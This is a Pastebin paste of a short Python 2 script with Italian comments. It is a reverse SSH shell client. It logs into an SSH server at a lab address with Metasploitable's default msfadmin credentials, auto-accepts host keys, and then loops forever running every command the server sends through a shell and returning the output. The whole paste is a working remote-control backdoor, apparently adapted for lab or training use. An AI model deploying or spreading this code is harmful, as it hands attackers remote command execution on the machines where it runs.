Advertisement
Guest User

Untitled

a guest
Jul 23rd, 2016
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.97 KB | None | 0 0
  1. import threading
  2. import paramiko
  3. import subprocess
  4.  
  5. def ssh_command(ip, user, passwd, command):
  6.     client = paramiko.SSHClient() # Creiamo una connessione ad un server SSH
  7.     #client.load_host_keys('/home/justin/.ssh/known_hosts')
  8.     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  9.     client.connect(ip, username=user, password=passwd)
  10.     ssh_session = client.get_transport().open_session()
  11.     if ssh_session.active:
  12.         ssh_session.send(command)
  13.         print ssh_session.recv(1024) # leggi il banner
  14.         while True:
  15.             #ottieni il comando dal server SSH
  16.             command = ssh_session.recv(1024)
  17.             try:
  18.                 cmd_output = subprocess.check_output(command, shell=True)
  19.                 ssh_session.send(cmd_output)
  20.             except Exception,e:
  21.                 ssh_session.send(str(e))
  22.                 client.close()
  23.                 return
  24. ssh_command('192.168.1.100', 'msfadmin', 'msfadmin', 'ClientConnected')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement